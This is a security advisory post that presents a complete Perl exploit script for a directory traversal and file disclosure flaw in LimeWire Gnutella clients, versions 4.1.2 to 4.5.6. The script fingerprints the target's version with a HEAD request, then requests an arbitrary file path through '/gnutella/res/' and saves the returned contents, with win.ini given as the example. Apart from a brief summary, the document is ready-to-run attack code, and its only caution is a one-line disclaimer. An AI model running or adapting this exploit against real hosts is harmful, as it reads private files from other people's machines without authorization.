[EXPL] LimeWire File Disclosure Exploit

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  LimeWire File Disclosure Exploit
------------------------------------------------------------------------


SUMMARY

This script exploits recently reported vulnerability in LimeWire Gnutella 
client,  <http://www.securiteam.com/securitynews/5AP0A20F6U.html> LimeWire 
Gnutella Client Directory Traversal and File Disclosure. The script allows 
fetching text files from system running vulnerable versions of LimeWire.

DETAILS

Vulnerable Systems:
 * LimeWire versions 4.1.2 up to version 4.5.6

#!/usr/bin/perl
#
# This is just a quick and dirty script to grab textfiles. Doesn't work on 
binaries.
#
# Note: Using this code to 'hack' LimeWire clients other than your own is 
illegal and should NOT be done!
#
# (c)2005 Marco van Berkum

use IO::Socket;

if(!$ARGV[2] || $ARGV[1] !~ /\\/) {
 die "Usage: ./limehack.pl host \"file you want\" outputfile 
[nondefaultport if needed]\n\nExample: ./limehack.pl 127.0.0.1 
\"C:\\Windows\\win.ini\" win.ini \(don\'t forget the quotes\)\nUse the 
silly DOS way when requesting files with spaces, Progra~1 etc..\n\n";
}

$host = $ARGV[0];
$file = $ARGV[1];
$outputfile = $ARGV[2];
$port = $ARGV[3];
$readtimeout = "15"; # set longer for big files

if(!$port) { $port = 6346; }

# open sock
my $sock = new IO::Socket::INET (PeerAddr => $host, PeerPort => $port, 
Proto => 'tcp', Timeout => '5') || die "Connection refused\n";

# wheee socket;
if($sock) {
 print $sock "HEAD ?\n\n";
 sleep(5);
 sysread($sock, $buff, 1000);
 close($sock);
}

($temp, $server, $temp) = split(/Request|Content-Type/,$buff);
undef($buff);
($temp, $version) = split(/Server: /,$server);
chomp($version);

if($version =~ /limewire/i) {
 ($temp, $versionnodots) = split(/\//,$version);
 $versionnodots =~ s/\.//g;
 if($versionnodots >= 412 && $versionnodots <= 456) {
 print("Vulnerable LimeWire!\n");
 } else { die "Not a vulnerable LimeWire server \:\(\n"; }

} else { die "Not a LimeWire server!\n" }

print "Requesting file: $file.....\n";
my $sock = new IO::Socket::INET (PeerAddr => $host, PeerPort => $port, 
Proto => 'tcp', Timeout => '5') || die "Connection refused, host died?\n";

# wheee socket;
if($sock) {
 print $sock "GET /gnutella/res/$file HTTP/1.1\n\n";

 sleep($readtimeout);
 sysread($sock, $buff, 9999999);
}

if($buff =~ /200 OK/) {
 print "\nGot it!\nYou hacked!!!\n";
 print "The file is saved as $outputfile!\n";
 ($temp, $data) = split(/Content-Length:.*/,$buff);
 $data =~ s/^\n//g;
 open FILE, ">$outputfile";
 print FILE "$data";
 close FILE;
} else {
print "File not found!\n";
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
Marco van Berkum.



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